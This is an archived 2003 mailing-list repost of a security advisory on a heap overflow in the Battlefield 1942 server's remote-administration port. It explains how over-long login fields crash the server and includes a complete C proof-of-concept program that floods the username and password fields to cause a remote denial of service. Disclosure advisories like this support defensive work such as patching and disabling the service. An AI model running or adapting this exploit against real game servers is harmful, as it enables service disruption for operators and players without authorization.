bf1942 exploit

Daniel Valois ninzor at packet-kids.com
Wed Feb 26 16:24:44 EST 2003


http://archives.neohapsis.com/archives/bugtraq/2003-02/0342.html



From: VOID.AT Security (asdf_at_asdf.com)
Date: Wed Feb 26 2003 - 12:19:40 CST 

a.. Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] 

--------------------------------------------------------------------------------


[void.at Security Advisory VSA0307 - mailto:crew at void dot at] 


Battlefield 1942 is a game (c) by Electronic Arts[1]. 


Overview 
======== 


By sending a specially crafted packet to the bf1942-server 
remote administration port, an attacker can cause the server 
to crash. 


It *could* even be possible to remotely exploit this 
vulnerability to gain a remote shell (see "Details" 
for details) 


Affected Versions 
================= 


As I discovered this vulnerability, the game's version was 
1.2. Because I don't play this game anymore and I didn't 
download that overbloated 50 MB patch I have no idea if 
the current version (1.3) is vulnerable (but I'd bet). 


Impact 
====== 


Medium. The remote server simply crashes. 


Details 
======= 


Battlefield 1942 can be configured to listen to a tcp-port 
(default: 4711) and accept connections to remotely enter 
commands or change server variables. A command line utility 
to do that comes with bf1942 ("RemoteConsole.exe"), and there 
exists at least one GUI that uses the same protocol. 


The session starts by connecting to the rcon-port. The server 
responds with an XOR-key that is used to send the username 
and the password (although we don't need that here). 


The login credentials get submitted in the following way: 
(byte) Length of Username 
(szstring) Username 
(byte) Length of Password 
(szstring) Password 


Heh, I'm sure you've guessed it, you can overwrite the heap 
by sending especially long usernames and/or passwords. 


Now the interesting part: it is possible to overwrite control 
information on the heap (like that famous malloc/free-bugs). 
The problem is, that the chunk that receives the username 
is the last chunk in the chain, so there is no following 
control block that could be overwritten to exploit a 
free-vulnerability. This is the reason I am not able to 
supply an exploit for this. 


The thing is, after that block are pointers to the double- 
linked ring-list that holds the free blocks. It *is* possible 
to overwrite them, but I didn't find a way to exploit that, 
other than to remotely DoS the server. Perhaps someone more 
skilled (and with more time) can do that (plz let me know *g*) 


Length of username > 4280 crashes the server. 


Note that by the time I discovered this, the only server 
available was the Windows-version. Today there exists a 
(beta-)Linux-version too, perhaps you can have more fun 
with it. 


Solution 
======== 


Disable that remote administration thing until a patch 
comes out. 


Exploit 
======= 


I've attached a demonstration exploit. 


And YES I really wanted to contact the vendors about that 
problem, but I gave up after straying around on the EA.com 
website for 15 min. searching for a simple mail address 
(not to mention requesting a public key...). 


Discovered by 
============= 


greuff <greuff at void.at> 


Credits 
======= 


void.at 
^sq, G7 and thokky for giving me links to papers 


halvar at blackhat.com for simply ignoring my mail regarding the 
double-linked-list overwrite. 


References 
========== 


[1] http://www.ea.com 


------------------------------------------------------------------ 


/***************************************************************** 
 * hoagie_bf1942_rcon.c 
 * 
 * Remote-DoS for Battlefield 1942-Servers that have their 
 * rcon-port activated (4711/tcp by default) 
 * 
 * Author: greuff at void.at 
 * 
 * Tested on BF-Server 1.2 on win32 
 * 
 * Credits: 
 * void.at 
 * ^sq, G7 and thokky 
 * 
 * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. 
 * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR 
 * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM. 
 * 
 *****************************************************************/ 


#include <stdio.h> 
#include <stdlib.h> 
#include <unistd.h> 
#include <sysexits.h> 
#include <string.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <sys/types.h> 
#include <errno.h> 
#include <netdb.h> 


int bf1942_rcon_connect(char *servername, int serverport, char *user, char 
*pass, int *s); 


int main(int argc, char **argv) 
{ 
   int sock, rval=0; 
   char *user, *pass; 
   int anz=5000/*4280*//*4272*//*4200*/; 
   if(argc!=3) 
   { 
      printf("Usage: %s servername serverport\n\n",argv[0]); 
      return EX_USAGE; 
   } 
   user=malloc(anz+1); 
   pass=malloc(anz+1); 
   memset(user,0,anz+1); 
   memset(user,'A',anz); 
   memset(pass,0,anz+1); 
   memset(pass,'B',anz); 
   do 
   { 
       
rval=bf1942_rcon_connect(argv[1],strtol(argv[2],NULL,10),user,pass,&sock); 
      if(rval==-1) 
      { 
         printf("Authentication failed. user=%s pass=%s\n",user,pass); 
         user[1]++; 
         close(sock); 
      } 
      else if(rval>0) 
      { 
         printf("Error: %s\n",strerror(rval)); 
         return -1; 
      } 
   } while(0); 
   return 0; 
} 


/* open a session to a bf1942-server (Rcon) 
 * 
 * WARNING this is a minimalist's version of the real rcon-authentication 
 * (XOR's skipped) 
 * 
 * in: servername, serverport, username, pass 
 * out: on success: 0, serversocket in *sock 
 * on error : -1 = autherror, errno otherwise 
 */ 
int bf1942_rcon_connect(char *servername, int serverport, char *user, char 
*pass, int *s) 
{ 
   int sock, i, rval; 
   struct hostent *hp; 
   struct sockaddr_in inaddr; 
   unsigned long l; 


   char xorkey[10], buf[20]; 


   if((sock=socket(AF_INET,SOCK_STREAM,0))<0) 
      return errno; 
   if((hp=gethostbyname(servername))<0) 
      return errno; 
   inaddr.sin_family=AF_INET; 
   inaddr.sin_port=htons(serverport); 
   memcpy(&inaddr.sin_addr,*(hp->h_addr_list),sizeof(struct in_addr)); 
   if(connect(sock,(struct sockaddr *)&inaddr,sizeof(struct sockaddr))<0) 
      return errno; 


   // connection established. The first thing the server should 
   // send is the XOR-Key for transmitting the username and the 
   // password. 
   if((i=read(sock,xorkey,10))<0) 
      return errno; 


   // send the username and the password... 
   l=strlen(user)+1; 
   if(write(sock,&l,sizeof(long))<0) 
      return errno; 
   if(write(sock,user,strlen(user)+1)<0) 
      return errno; 
   l=strlen(pass)+1; 
   if(write(sock,&l,sizeof(long))<0) 
      return errno; 
   if(write(sock,pass,strlen(pass)+1)<0) 
      return errno; 


   if(read(sock,buf,20)<0) 
      return errno; 
   if(buf[0]==0x01) 
   { 
      rval=0; // auth-ok, connection established 
      *s=sock; 
   } 
   else 
      rval=-1; // auth-error 
   return rval; 
} 




-----BEGIN PGP SIGNATURE----- 
Version: GnuPG v1.2.1 (GNU/Linux) 


iD8DBQA+XQVBzxi8qAgTjUMRAjLbAKCN15A0DLoALJE15670dIFEn4AQXgCgi0uK 
IZdDvi1kD7cNWP4YV8bq86I= 
=e8jV 
-----END PGP SIGNATURE----- 


-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://icculus.org/pipermail/bf1942/attachments/20030226/4f9cfd57/attachment.htm>


More information about the Bf1942 mailing list